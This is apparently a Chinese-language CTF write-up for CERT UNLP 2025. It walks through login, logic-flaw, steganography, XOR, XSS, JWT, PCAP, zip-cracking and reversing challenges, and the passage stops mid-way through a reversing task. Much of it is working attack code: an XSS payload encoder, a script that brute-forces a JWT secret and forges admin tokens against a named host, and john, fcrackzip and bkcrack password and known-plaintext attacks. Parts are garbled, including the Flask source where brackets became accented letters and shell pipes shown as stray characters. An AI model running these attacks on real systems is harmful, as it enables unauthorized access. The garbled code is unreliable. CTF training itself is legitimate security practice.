一、Beginner
1、Onion login 2025
题目描述:Log In to get the flag,Note: No brute forcing required.
进入后就是一个登录页还是啥来着忘了,然后就是查看源码,可以看到一个app.js文件,这个原本内容比较难读,我这里用在线工具格式化了一下,不知道有没有错误。。。
javascript
let currentLevel = 1;
let attemptCount1 = 0;
let attemptCount2 = 0;
let attemptCount3 = 0;
function handleLogin1(e) {
e.preventDefault();
const u = document.getElementById('user1').value;
const p = document.getElementById('pass1').value;
if (attemptCount1 === 0) {
fetch('/get_credentials/1').then(r => r.json()).then(d => {
localStorage.setItem('username', d.username);
localStorage.setItem('password', d.password);
showStatus(1, '✗ Wrong credentials', 'error');
attemptCount1++;
document.getElementById('form1').reset();
});
} else {
fetch('/verify_login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
level: 1,
username: u,
password: p
})
}).then(r => r.json()).then(d => {
if (d.success) {
showStatus(1, '✓ Level 1 completed!', 'success');
markCompleted(1);
document.getElementById('form1').reset();
setTimeout(() => {
currentLevel = 2;
enableLevel(2);
}, 1000);
} else {
showStatus(1, '✗ Wrong credentials', 'error');
}
});
}
}
function handleLogin2(e) {
e.preventDefault();
const u = document.getElementById('user2').value;
const p = document.getElementById('pass2').value;
if (attemptCount2 === 0) {
fetch('/get_credentials/2').then(r => r.json()).then(d => {
sessionStorage.setItem('username', d.username);
sessionStorage.setItem('password', d.password);
showStatus(2, '✗ Wrong credentials', 'error');
attemptCount2++;
document.getElementById('form2').reset();
});
} else {
fetch('/verify_login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
level: 2,
username: u,
password: p
})
}).then(r => r.json()).then(d => {
if (d.success) {
showStatus(2, '✓ Level 2 completed!', 'success');
markCompleted(2);
document.getElementById('form2').reset();
setTimeout(() => {
currentLevel = 3;
enableLevel(3);
}, 1000);
} else {
showStatus(2, '✗ Wrong credentials', 'error');
}
});
}
}
function handleLogin3(e) {
e.preventDefault();
const u = document.getElementById('user3').value;
const p = document.getElementById('pass3').value;
if (attemptCount3 === 0) {
fetch('/get_credentials/3').then(r => r.json()).then(d => {
setCookie('username', d.username, 1);
setCookie('password', d.password, 1);
showStatus(3, '✗ Wrong credentials', 'error');
attemptCount3++;
document.getElementById('form3').reset();
});
} else {
fetch('/verify_login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
level: 3,
username: u,
password: p
})
}).then(r => r.json()).then(d => {
if (d.success) {
showStatus(3, '✓ Level 3 completed!', 'success');
markCompleted(3);
document.getElementById('form3').reset();
setTimeout(() => {
checkAllComplete();
}, 1000);
} else {
showStatus(3, '✗ Wrong credentials', 'error');
}
});
}
}
function markCompleted(l) {
document.getElementById('login' + l + '-box').classList.remove('active');
document.getElementById('login' + l + '-box').classList.add('completed');
document.getElementById('check' + l).style.display = 'inline-block';
}
function enableLevel(l) {
document.getElementById('login' + l + '-box').classList.add('active');
showStatus(l, '🔓 Level unlocked. Enter your credentials.', 'info');
document.getElementById('login' + l + '-box').scrollIntoView({
behavior: 'smooth',
block: 'center'
});
}
function showStatus(l, m, t) {
const s = document.getElementById('status' + l);
s.textContent = m;
s.className = 'status ' + t;
s.style.display = 'block';
}
function checkAllComplete() {
fetch('/get_flag').then(r => r.json()).then(d => {
document.getElementById('flag-display').textContent = d.flag;
document.getElementById('flag-section').classList.add('show');
document.getElementById('flag-section').scrollIntoView({
behavior: 'smooth',
block: 'center'
});
}).catch(e => {
console.error('Error:', e);
});
}
function setCookie(n, v, h) {
const d = new Date();
d.setTime(d.getTime() + (h * 60 * 60 * 1000));
const e = "expires=" + d.toUTCString();
document.cookie = n + "=" + v + ";" + e + ";path=/";
}
function getCookie(n) {
const ne = n + "=";
const ca = document.cookie.split(';');
for (let i = 0; i < ca.length; i++) {
let c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(ne) == 0) return c.substring(ne.length, c.length);
}
return null;
}
分析这个js文件可以知道
-
每个级别第一次提交时:
-
会从
/get_credentials/[level]获取凭证 -
存储到不同的位置:
-
Level 1:
localStorage -
Level 2:
sessionStorage -
Level 3: Cookie
-
-
然后显示"错误凭证",实际是提示我们去存储中找真正的凭证
-
-
第二次及以后提交时:
-
发送到
/verify_login验证 -
如果成功,进入下一级
-
-
完成所有级别后:
- 从
/get_flag获取flag
- 从
现在很明确了,先访问/get_credentials/{}就是了,然后可以拿到三个凭证
bash
{
"password": "Pikachu123!",
"username": "Ash"
}
{
"password": "Looser456!!!",
"username": "Gary"
}
{
"password": "nimdA",
"username": "Admin"
}
这就很简单了,用凭证登录,然后访问/get_flag即可拿到flag
bash
└─# curl https://x.x.x.x/get_flag
{
"flag": "UNLP{B4s1c_5t0rAg3_&_DEV_t00Ls}"
}
2、21 Blackjack
题目描述:You're welcome any time. You know, I think the best thing about Vegas is you can become anyone you want.
拿到压缩包解压后是一个python文件
python
#!/usr/bin/env python3
import os
import random
import sys
from colorama import Fore, Style, init
init(autoreset=True)
FLAG = os.getenv("FLAG", "FLAG{default_flag_value}")
FLAG_PRICE = 1000
START_COINS = 100.0
def banner():
print(f"{Fore.CYAN}{Style.BRIGHT}\n==============================")
print(" 🎰 Welcome to the Lottery Shop! 🎰")
print("==============================\n" + Style.RESET_ALL)
def flagforyou():
print(f"\n{Fore.GREEN}{Style.BRIGHT}*** Here is your flag: {FLAG} ***\n")
def noflagforyou():
print(f"{Fore.RED}No flag for you.\n")
def safe_int(x):
"""Try converting input to int, raise error if not possible."""
try:
return int(x)
except Exception:
raise
# === Main Game Logic ===
def main():
coins = START_COINS
banner()
print(f"{Fore.YELLOW}You start with {coins} coins.")
print(f"The flag costs {FLAG_PRICE} coins.{Style.RESET_ALL}\n")
while True:
print(f"{Fore.MAGENTA}{Style.BRIGHT}Menu:")
print(" 1) Play a round (bet & guess)")
print(" 2) Buy the flag")
print(" 3) Check coins")
print(" 4) Quit" + Style.RESET_ALL)
choice = input(f"{Fore.CYAN}> {Style.RESET_ALL}").strip()
if choice == "1":
print(f"\n{Fore.BLUE}{Style.BRIGHT}--- New Round ---{Style.RESET_ALL}")
try:
bet = float(input("Enter your bet amount: ").strip())
except ValueError:
print(f"{Fore.RED}Invalid bet amount.\n")
continue
if bet > coins:
print(f"{Fore.RED}Invalid bet. BET: {bet} > COINS: {coins}\n")
continue
try:
guess = int(input("Enter your guess number: ").strip())
except ValueError:
print(f"{Fore.RED}Invalid guess. Please enter an integer.\n")
continue
winning = random.randint(0, 1_000_000)
if guess == winning:
coins += bet * 2
print(f"{Fore.GREEN}🎉 You guessed it! You win {bet * 2} coins!")
print(f"New balance: {coins}\n")
else:
coins -= bet
print(f"{Fore.RED}❌ Wrong guess! The winning number was {winning}.")
print(f"You lose {bet} coins. New balance: {coins}\n")
elif choice == "2":
print(f"\n{Fore.YELLOW}{Style.BRIGHT}--- Buy the flag ---{Style.RESET_ALL}")
if coins >= FLAG_PRICE:
coins -= FLAG_PRICE
flagforyou()
print(f"{Fore.CYAN}Thanks for playing! Exiting...\n")
sys.exit(0)
else:
print(f"{Fore.RED}Not enough coins. You have {coins}, need {FLAG_PRICE}.\n")
elif choice == "3":
print(f"\n{Fore.GREEN}💰 You have {coins} coins.\n")
elif choice == "4":
print(f"{Fore.CYAN}Goodbye! 👋")
break
else:
print(f"{Fore.RED}Invalid option.\n")
if __name__ == "__main__":
main()
程序分析:
-
初始设置:
-
初始金币:100.0(浮点数)
-
flag价格:1000金币
-
游戏类型:猜数字游戏(0-1,000,000)
-
-
游戏规则:
pythonwinning = random.randint(0, 1_000_000) if guess == winning: coins += bet * 2 else: coins -= bet需要猜中随机数才能赢,否则输掉赌注。
-
目标:
pythonif coins >= FLAG_PRICE: coins -= FLAG_PRICE flagforyou()需要达到1000金币才能买flag。
-
关键点:
python
if bet > coins:
print(f"{Fore.RED}Invalid bet. BET: {bet} > COINS: {coins}\n")
continue
bat是浮点数,没有检查负数和0
所以现在明了了,操作流程:
-
选择选项
1开始游戏 -
下注
-1000.0(负数) -
随便猜一个数字(比如
123456) -
几乎肯定猜不中(概率1/1,000,001),所以会输
-
但输掉负下注等于加钱:
coins -= (-1000.0)=coins += 1000.0 -
现在金币变成
100 + 1000 = 1100 -
选择选项
2购买flag -
获得flag
python
└─# nc x.x.x.x 35001
You start with 100 coins.
The flag costs 1000 coins.
Menu:
1) Play a round (bet & guess)
2) Buy the flag
3) Check coins
4) Quit
> 1
--- New Round ---
Enter your bet amount: -1000.0
Enter your guess number: 123456
❌ Wrong guess! The winning number was 106.
You lose -1000.0 coins. New balance: 1100.0
Menu:
1) Play a round (bet & guess)
2) Buy the flag
3) Check coins
4) Quit
> 2
--- Buy the flag ---
*** Here is your flag: UNLP{IlovethisTown.ILoveThisGameAnd,Jim,IMightEvenLoveYou} ***
Thanks for playing! Exiting...
3、Manhattan
题目描述:The file looks perfect, but it contains strange hidden data. You need to see what's inside the box, not just what's on top.
这个就是图片隐写题,这个非常简单
python
└─# strings ny.png | grep UNLP
Getty ImageUNLP{St3g4n0graphy_15_fUn}
4、Fragmented Flag
题目描述:Retrieve the 3 hidden flag fragments from the web page: https://x.x.x.x
这个就是访问这个页面,flag被分成三份放在页面中,就是检查html、js、css既可拿到完整的flag
UNLP{1_dOnt_like_the_TEG_map_|_prefer_the_Bor3d_Grid}
5、Crackme
题目描述:Hashing is the correct way to store passwords :) The flag is the correct password
可以拿到一个文件
python
# 检查一下文件类型
└─# file crackme
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c84c111aff433e37162f182b88a58b359941fdca, for GNU/Linux 3.2.0, not stripped
# 运行看看行为
└─# ./crackme
Enter your username: 111
You aren't the admin
快速的查看了一下没有明文储存比较内容
python
└─# python3 -c "print('admin\ntestpass')" | ltrace ./crackme 2>&1 | grep -A5 -B5 "strcmp"
printf("Enter your username: ") = 21
__isoc99_scanf(0x55fc204da03e, 0x7ffd558dbf80, 0, 0) = 1
strcmp("admin", "admin") = 0
printf("Enter your password: ") = 21
__isoc99_scanf(0x55fc204da08b, 0x7ffd558dbff0, 0, 0) = 1
EVP_MD_CTX_new(0x7ffd558dbff0, 0x7ffd558dbf40, 0x7ffd558dbf40, 0) = 0x55fc497f32c0
EVP_sha256(0, 0, 0, 0) = 0x7fd7dbbab380
EVP_DigestInit_ex(0x55fc497f32c0, 0x7fd7dbbab380, 0, 0x7fd7dbbab380) = 1
可以看到比较的用户名是admin,然后对密码进行SHA256哈希:EVP_MD_CTX_new、EVP_sha256、EVP_DigestInit_ex,那么就是找到这个值就是了,通过反汇编可以看到
python
mov rax, qword [obj.k1] ; [0x2008:8]=0xec3652d9b630f7fc
mov qword [s2], rax
...
mov rdx, qword [obj.k2] ; [0x2010:8]=0xb2b6d7922dfcc9d3
...
mov rdx, qword [obj.k3] ; [0x2018:8]=0x4ec1a96141506bb
...
mov rdx, qword [obj.k4] ; [0x2020:8]=0xe492f592717a6c1d
硬编码的哈希值存储在 k1、k2、k3、k4 这四个全局变量中,这是 4 个 8 字节(64 位)的值,总共 32 字节 = 256 位,正好是 SHA256 哈希的长度。x86-64 是小端序(little-endian),但这里存储的可能是直接的内存表示。我们需要看看这些值是如何加载到 [s2] 数组的。从代码看,它是顺序存储的:k1 在 [s2],k2 在 [s2+8],k3 在 [s2+16],k4 在 [s2+24]。所以哈希字节序列就是这 4 个 quadwords 按顺序的字节表示。由于是小端架构,但这里显示的是数值(已经转换过),我们可以直接按看到的十六进制字符串拼接
python
ec3652d9b630f7fcb2b6d7922dfcc9d304ec1a96141506bbe492f592717a6c1d
那这个值直接去暴力破解一下可以得到是secret123,可以输入验证一下
python
└─# echo -e "admin\nsecret123" | ./crackme
Enter your username: Enter your password: Congrats!
Your password is correct. Use this password as flag
6、Xtrings
题目描述:Find the flag in this file
同样的拿到一个文件
python
# 检查文件类型
└─# file windows_app.exe.xor
windows_app.exe.xor: data
# 看一下文件开头
└─# xxd windows_app.exe.xor ö head -5
00000000: 0915 c344 4c53 444f 5744 4f53 bbb0 5344 ...DLSDOWDOS..SD
00000010: f753 444f 5344 4f53 044f 5344 4f53 444f .SDOSDOS.OSDOSDO
00000020: 5344 4f53 444f 5344 4f53 444f 5344 4f53 SDOSDOSDOSDOSDOS
00000030: 444f 5344 4f53 444f 5344 4f53 c44f 5344 DOSDOSDOSDOS.OSD
00000040: 414c fe41 53f0 469e 65f7 5208 8272 1027 AL.AS.F.e.R..r.'
既然扩展名提示需要 XOR 解密,那么可以使用xortool 分析
python
└─# xortool windows_app.exe.xor
The most probable key lengths:
1: 6.3%
3: 16.9%
6: 14.9%
9: 12.9%
12: 11.2%
15: 9.7%
18: 8.4%
21: 7.4%
24: 6.5%
27: 5.8%
Key-length can be 3*n
Most possible char is needed to guess the key!
xortool 提示最可能的密钥长度是 3 或者 6,3有点太短了,我这里选择了6
python
└─# xortool windows_app.exe.xor -l 6 -c 20
1 possible key(s) of length 6:
dosdos
Found 0 plaintexts with 95%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv
xortool 猜测长度为6的密钥是 dosdos,那么用 dosdos 作为循环密钥 XOR 解密
python
with open('windows_app.exe.xor', 'rb') as f:
cipher = f.read()
key = b'dosdos'
plain = bytearray()
for i in range(len(cipher)):
plain.append(cipher[i] ^ key[i % len(key)])
with open('decrypted.exe', 'wb') as f:
f.write(plain)
得到可执行的 PE 文件,在解密的文件中搜索flag格式
python
└─# rabin2 -zz decrypted_dosdos.exe ù grep -i UNLP
1455 0x00007445 0x00007445 6 7 ascii unlpâx
发现异常字符串 unlpâx,位于偏移 0x7445,接着查看 0x7445 周围的 hex
python
└─# xxd -s 0x7440 -l 50 decrypted_dosdos.exe
00007440: 0049 531a 0075 6e6c 705b 7810 727f 144e .IS..unlpâx.r..N
00007450: 647f 5354 5211 4e67 155d 2a20 2020 2020 d.STR.Ng.ê*
00007460: 6036 2060 2120 2020 2020 2020 2020 2020 ô6 ô!
00007470: 2020
得到原始字节
75 6e 6c 70 5b 78 10 72 7f 14 4e 64 7f 53 54 52 11 4e 67 15 5d
对每个字节 XOR 0x20 可还原为可读字符UNLP{X0R_4nD_str1nG5},也可以用脚本
python
with open('decrypted_dosdos.exe', 'rb') as f:
f.seek(0x7445)
data = f.read(200)
decoded = []
for b in data:
if b < 0x20 or b > 0x7e:
# 非可打印,可能分隔,但我们先继续
pass
decoded.append(b ^ 0x20)
# 转为 bytes 再找 UNLP{...}
decoded_bytes = bytes(decoded)
import re
matches = re.findall(b'UNLP{[^}]+}', decoded_bytes)
for m in matches:
print('Flag:', m.decode())
7、The Silence of the Lambs
题目描述:I can't remember if XSS means Cross-Site Scripting or XOR-Site Scripting, maybe both.
进入页面后,是一个简单的页面,包含一个十六进制输入表单:
-
输入限制:仅允许十六进制字符(0-9, A-F)
-
最大长度:55字符
-
默认值:
1b323d782a3c2d73373d27363b277335366c
通过不断地测试发现:
-
接收十六进制输入
-
解码为字节
-
对字节进行XOR解密
-
将结果输出到页面(在
<div class="error">Decoded: ...</div>中)
找到密钥:
提交 alert() 的十六进制表示 616c6572742829,服务器返回 Decoded: 9?6*'{q。
通过计算:
-
明文:
alert()→61 6c 65 72 74 28 29 -
密文:
9?6*'{q→39 3f 36 2a 27 7b 71 -
计算密钥:
明文 XOR 密文→58 53 53 58 53 53 58
密钥为 XSSXSSX(ASCII值:88, 83, 83, 88, 83, 83, 88)
继续测试不少payload发现密钥对齐特性:
-
短输入(如
test、alert)工作正常 -
长输入从第7个字符开始出现乱码
-
进一步测试发现:每6个字符后,密钥索引重置到位置0
写个脚本来构造payload
python
import binascii
def encrypt_with_reset(payload, key):
"""每6字符重置密钥索引到0"""
encrypted = []
for i, char in enumerate(payload):
key_index = i % 6 # 每6字符重置
encrypted.append(char ^ key[key_index])
return bytes(encrypted)
key = b"XSSXSSX" # 使用前6个字节:XSSXSS
# payload1: </div><svg onload=alert()>
payload1 = b"</div><svg onload=alert()>"
encrypted1 = encrypt_with_reset(payload1, key)
hex1 = encrypted1.hex()
print(f"1. </div><svg onload=alert()>:")
print(f" Payload length: {len(payload1)} chars")
print(f" Hex: {hex1}")
print(f" Hex length: {len(hex1)} chars")
# payload12: 更短的payload
payload2 = b"</div><img src=x onerror=alert()>"
encrypted2 = encrypt_with_reset(payload2, key)
hex2 = encrypted2.hex()
print(f"\n2. </div><img src=x onerror=alert()>:")
print(f" Payload length: {len(payload2)} chars")
print(f" Hex: {hex2}")
print(f" Hex length: {len(hex2)} chars")
# payload13: 最短的可能
payload3 = b"</div><script>alert()</script>"
encrypted3 = encrypt_with_reset(payload3, key)
hex3 = encrypted3.hex()
print(f"\n3. </div><script>alert()</script>:")
print(f" Payload length: {len(payload3)} chars")
print(f" Hex: {hex3}")
print(f" Hex length: {len(hex3)} chars")
# 验证解密
print(f"\nVerification for payload1:")
decrypted1 = encrypt_with_reset(encrypted1, key)
print(f" Decrypted: {decrypted1}")
print(f" Match: {decrypted1 == payload1}")
直接用payload1即可拿到flag UNLP{Th1s_sHit_Is_M0re_3ncoD1nG_Th4n_X5S!:(}
8、Titanic
题目描述:Welcome! Become a Python reverser
题目提供一个 Python 3.12 编译的字节码文件 .pyc。
python
# 用 pycdc 反编译得到源代码
import time
import binascii
from Crypto.Cipher import AES
y = 's4Pd'
def get_passwd():
return input('Password: ')
def check(s):
z = '0w5' + y + 'r'
x = s[6:8] + s[0:3] + s[3:6][::-1] # 注意:这里的理解是关键!
return x == z
def get_secret(k):
secret = binascii.unhexlify('f92d0786425761806008f985a2fcc4a1f04e142b6b7dadd0998083c35135dc21')
key = (k * 2).encode('utf-8')
iv = b'thisIsNotTheFlag'
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.decrypt(secret)
s = get_passwd()
if check(s):
print(get_secret(s))
return None
time.sleep(5)
print('Invalid password!')
已知:
-
z = '0w5s4Pdr' -
x = (s[6:8] + s[0:3] + s[3:6])[::-1] -
x == z
设 s = s0 s1 s2 s3 s4 s5 s6 s7(前8个字符)
那么:
python
s[6:8] = s6 s7
s[0:3] = s0 s1 s2
s[3:6] = s3 s4 s5
所以:s6 s7 + s0 s1 s2 + s3 s4 s5 = 某个字符串,记作 A
且 A[::-1] = '0 w 5 s 4 P d r'
因此:
s6 s7 + s0 s1 s2 + s3 s4 s5 = 'r' 'd' 'P' '4' 's' '5' 'w' '0'
字符对应,将上述等式按位置对应
python
s6 = 'r'
s7 = 'd'
s0 = 'P'
s1 = '4'
s2 = 's'
s3 = '5'
s4 = 'w'
s5 = '0'
按顺序排列 s0 s1 s2 s3 s4 s5 s6 s7即可得到密码:P4s5w0rd
使用脚本解密得到flag
python
from Crypto.Cipher import AES
import binascii
secret = binascii.unhexlify('f92d0786425761806008f985a2fcc4a1f04e142b6b7dadd0998083c35135dc21')
key = ('P4s5w0rd'*2).encode()
iv = b'thisIsNotTheFlag'
aes = AES.new(key, AES.MODE_CBC, iv)
plain = aes.decrypt(secret)
print(plain)
print(plain.hex())
# 运行输出UNLP{w3lc0m3-B4by-R3vers3r}
二、MISC
1、Weird PCAP
题目描述:We intercepted some network traffic, but nothing looks suspicious at first glance. Can you find what's hidden?
这是一个流量分析题,提供一个 weird.pcap 文件,用 Wireshark 或 tshark 分析协议分布
python
eth frames:249 bytes:16863
arp frames:20 bytes:840
ip frames:229 bytes:16023
tcp frames:171 bytes:12413
tls frames:19 bytes:2394
http frames:19 bytes:2837
udp frames:32 bytes:2518
ntp frames:5 bytes:450
dns frames:27 bytes:2068
icmp frames:26 bytes:1092
接着就是寻找异常流量了
-
大部分流量为正常 HTTP、TLS、ICMP 等
-
但在 DNS 流量中发现 9 个异常的 PTR 反向查询,格式为:
A.B.C.D.in-addr.arpa -
这些 PTR 查询与普通域名查询混合,但 IP 地址看起来不像是真正的反向查询,而像是编码数据
异常PTR查询列表
python
85.78.76.80.in-addr.arpa
123.67.48.118.in-addr.arpa
51.114.84.95.in-addr.arpa
95.99.104.52.in-addr.arpa
110.78.101.124.in-addr.arpa
95.85.115.49.in-addr.arpa
110.103.95.68.in-addr.arpa
78.83.33.33.in-addr.arpa
125.192.180.219.in-addr.arpa
提取数字部分并直接转换为ASCII 字符
python
nums = [
[85, 78, 76, 80],
[123, 67, 48, 118],
[51, 114, 84, 95],
[95, 99, 104, 52],
[110, 78, 101, 124],
[95, 85, 115, 49],
[110, 103, 95, 68],
[78, 83, 33, 33],
[125, 192, 180, 219]
]
for group in nums:
for n in group:
if 32 <= n <= 126:
print(chr(n), end='')
# 运行后输出 UNLP{C0v3rT__ch4nNe|_Us1ng_DNS!!}
三、WEB
1、Dexter
题目描述:Ohh JWT and secrets. Love it. Check source code to solve it
给了源码
python
from flask import Flask, request, jsonify, make_response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from jwt import decode, encode, exceptions
import random
import os
import time
random.seed(f"s3v4r4l_érandom.randint(0, 2000)è")
app = Flask(__name__)
FLAG = os.environ.get("FLAG", "UNLPéfake_flagè")
app.secret_key = f"Rem1xKeyérandom.randint(0, 10**12)è"
limiter = Limiter(
get_remote_address,
app=app,
default_limits=â"3 per minute"ê,
storage_uri="memory://"
)
àapp.route('/', methods=â'GET'ê)
àlimiter.limit("3/minute")
def index():
auth = request.headers.get('Authorization')
if not auth:
response = make_response(jsonify(é"error": "Missing JWT token"è), 401)
issued_at = int(time.time())
default_payload = é
"role": "guest",
"iat": issued_at,
è
new_token = encode(default_payload, app.secret_key, algorithm='HS256')
response.headersâ'WWW-Authenticate'ê = f'Bearer énew_tokenè'
return response
if auth.lower().startswith("bearer "):
jwt_token = auth.split(" ", 1)â1ê.strip()
else:
jwt_token = auth.strip()
try:
payload = decode(jwt_token, app.secret_key, algorithms=â'HS256'ê)
user = payload.get('user', '')
role = payload.get('role', '')
if role == 'superuser' or user.lower() == 'admin':
return jsonify(é"flag": FLAGè), 200
else:
return jsonify(é
"error": "Not authorized",
"details": "valid token but insufficient privileges"
è), 403
except exceptions.ExpiredSignatureError:
return jsonify(é"error": "Token expired"è), 401
except exceptions.InvalidTokenError:
return jsonify(é"error": "Invalid JWT token"è), 401
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=1337)
通过查看源代码发现关键的JWT密钥生成逻辑:
python
# 漏洞点:随机种子设置
random.seed(f"s3v4r4l_{random.randint(0, 2000)}")
# 密钥生成
app.secret_key = f"Rem1xKey{random.randint(0, 10**12)}"
原理:
-
随机数生成缺陷:
-
random.seed()参数中的random.randint(0, 2000)先执行,生成值A -
用
f"s3v4r4l_{A}"设置随机种子 -
然后
random.randint(0, 10**12)生成值B -
最终密钥为
f"Rem1xKey{B}"
-
-
可预测性:
-
A的范围只有0-2000(2001种可能) -
对于每个
A,B是确定性的(因为设置了种子) -
可以通过暴力破解找到正确的
A值
-
解题步骤:
访问网站先获取一个有效token,然后分析这个token结构:
-
Header:
{'alg': 'HS256', 'typ': 'JWT'} -
Payload:
{'role': 'guest', 'iat': 1764872144}
那么接下来就是破解密钥,用密钥创建admin权限的token
python
import jwt
import random
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "https://jwt2025.ctf.cert.unlp.edu.ar/"
# 获取token
r = requests.get(url)
token = r.headers.get('WWW-Authenticate', '').replace('Bearer ', '').strip('{}')
def test_a(a):
"""测试特定的a值"""
# 设置种子
random.seed(f"s3v4r4l_{a}")
# 生成密钥
b = random.randint(0, 10**12)
secret = f"Rem1xKey{b}"
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
return a, b, secret, True
except jwt.exceptions.InvalidSignatureError:
return a, b, secret, False
except:
return a, b, secret, False
found = False
with ThreadPoolExecutor(max_workers=50) as executor:
futures = {executor.submit(test_a, a): a for a in range(2001)}
for future in as_completed(futures):
a, b, secret, success = future.result()
if success:
print(f"\n 找到密钥! a={a}, b={b}")
print(f"密钥: {secret}")
# 创建admin token
admin_payload = {
'user': 'admin',
'role': 'superuser',
'iat': int(time.time())
}
admin_token = jwt.encode(admin_payload, secret, algorithm='HS256')
# 获取flag
headers = {'Authorization': f'Bearer {admin_token}'}
resp = requests.get(url, headers=headers)
print(f" FLAG: {resp.text}")
found = True
executor.shutdown(wait=False)
break
if a % 200 == 0:
print(f"进度: {a}/2000", end='\r')
if not found:
print("\n未找到密钥")
# 运行得到UNLP{R34llY-ur-Us1ng-Ai_for_th1s-B4by-Ch4ll3ng3?}
四、Forensics
1、Memento
题目描述:Test your skills with our 3 levels of zip cracking challenges. Hint: fcrackzip will not help you in last step
附件结构:
python
certunlp_2025_forensics_memento_xxxxxxxx.zip → 解压得到 challenge.zip
challenge.zip → 解压得到 close.zip
close.zip → 解压得到 flag.zip
flag.zip → 包含 MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg 和 flag/flag.txt
第一层直接密码爆破:
python
# 提取哈希
zip2john challenge.zip > hash.txt
# 用 john 多核
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 输出: memento1
第二层也是密码爆破(短密码):
python
fcrackzip -v -u -l 1-6 -c a close.zip
# 输出: PASSWORD FOUND!!!!: pw == qq
第三层题目已经提示直接用fcrackzip爆破是不行了,但是可以看到压缩包中有两个文件
MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg
flag/flag.txt
这个图片肯定不是白给的分析一下
-
MV5B开头 → IMDb 图片标准前缀 -
@._V1_.jpg→ IMDb 图片版本后缀 -
中间部分为 Base64 编码的二进制数据(解码后是 UUID)
那么可以下载原图进行明文攻击,尝试常见的 IMDb 图片域名
-
https://ia.media-imdb.com/images/M/...(旧版,约 2020 年前常用) -
https://m.media-amazon.com/images/M/...(新版,目前主要域名) -
https://images-na.ssl-images-amazon.com/images/M/...(过渡期域名)
python
filename="MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg"
curl -s -H "Referer: https://www.imdb.com/" \
-H "User-Agent: Mozilla/5.0" \
"https://ia.media-imdb.com/images/M/$filename" \
-o test.jpg
接着就检查一下图片大小等,确认为原图,那么就可以明文攻击了
python
# 提取压缩数据
dd if=test.zip bs=1 skip=66 count=404601 of=compressed.dat 2>/dev/null
# 运行 bkcrack
└─# ./bkcrack-1.5.0-Linux/bkcrack -C flag.zip -c "MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg" -p compressed.dat -o 0
bkcrack 1.5.0 - 2022-07-07
[10:03:28] Z reduction using 404594 bytes of known plaintext
11.5 % (46345 / 404594)
[10:03:31] Attack on 126 Z values at index 358758
Keys: 67edc97d 531bd557 46ac54d3
31.0 % (39 / 126)
[10:03:31] Keys
67edc97d 531bd557 46ac54d3
现在我们拿到了密钥67edc97d 531bd557 46ac54d3,接下来就解密zip
python
# 方法1:重新打包为无密码 ZIP
./bkcrack -C flag.zip -k 67edc97d 531bd557 46ac54d3 \
-U unlocked.zip newpassword
# 解压新 ZIP
unzip -P newpassword unlocked.zip
# 方法2:直接解密 flag.txt
./bkcrack -C flag.zip -c "flag/flag.txt" \
-k 67edc97d 531bd557 46ac54d3 -d flag_decrypted.txt
# 注意:输出是压缩数据,需解压(或用方法1直接得到明文)
得到flag UNLP{Oh,I'mChasingThisGuy...No...he'sChasingme}
这里解释一下为什么密钥不能直接解压
1. ZIP 加密方式
-
ZIP 使用 ZipCrypto(或 AES)加密,加密对象是每个文件的压缩数据,而不是整个 ZIP 容器。
-
每个文件使用独立的加密密钥(但传统 ZipCrypto 中,所有文件使用相同密码时,密钥也相同)。
2. 密钥与密码的关系
-
用户输入的密码 → 通过密钥推导函数生成 3 个 32 位密钥(Key0, Key1, Key2)。
-
这 3 个密钥用于 ZipCrypto 的加解密流。
-
已知明文攻击得到的就是这3 个密钥,而不是密码本身。
3. 为什么不能直接解压?
-
标准 ZIP 解压软件(如
unzip、7z)需要密码,而不是内部密钥。 -
它们会重新执行密钥推导过程,用输入的密码生成密钥,与 ZIP 中存储的校验值比较。
-
即使我们有了正确的密钥,解压软件没有接口直接输入密钥。
4. bkcrack 的解决方案
bkcrack 提供了两种方式:
-
-U选项:用已知密钥创建一个新 ZIP,并设置一个新密码(比如newpassword)。这样就能用普通解压软件输入新密码解压。 -
-d选项:直接解密单个文件得到压缩数据,但还需要手动解压缩(如果文件是 Deflate 压缩的)。
这就像是你有一把正确的钥匙(密钥),但锁匠的工具(unzip)只接受密码指令来复制钥匙,而不是直接使用钥匙。bkcrack -U相当于用钥匙打开锁,然后换上一把新锁,把新钥匙(新密码)给你。
操作对应
bash
# 1. 用密钥生成一个新 ZIP,密码设为 "newpass"
./bkcrack -C flag.zip -k xxxxxxxx yyyyyyyy zzzzzzzz -U unlocked.zip newpass
# 2. 用新密码解压
unzip -P newpass unlocked.zip
这样绕过了原始密码,但本质是利用密钥"重打包"了一个新 ZIP。
五、REV
1、Final Cut
题目描述:UNLP Metared got creative and made this render engine but is a bit slow can you help us to create the perfect movie?
可以拿到一个文件
bash
# 检查文件类型
└─# file final_cut
final_cut: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=78960d3da59ce6a1a23f0a7020d6d65915c88c25, for GNU/Linux 3.2.0, stripped
# 看看程序的行为
└─# ./final_cut
===============================================
UNLP METARED RENDER ENGINE - FINAL CUT v.01
===============================================
[*] Loading raw footage...
[*] Scenes: 100 | Max Runtime: 240
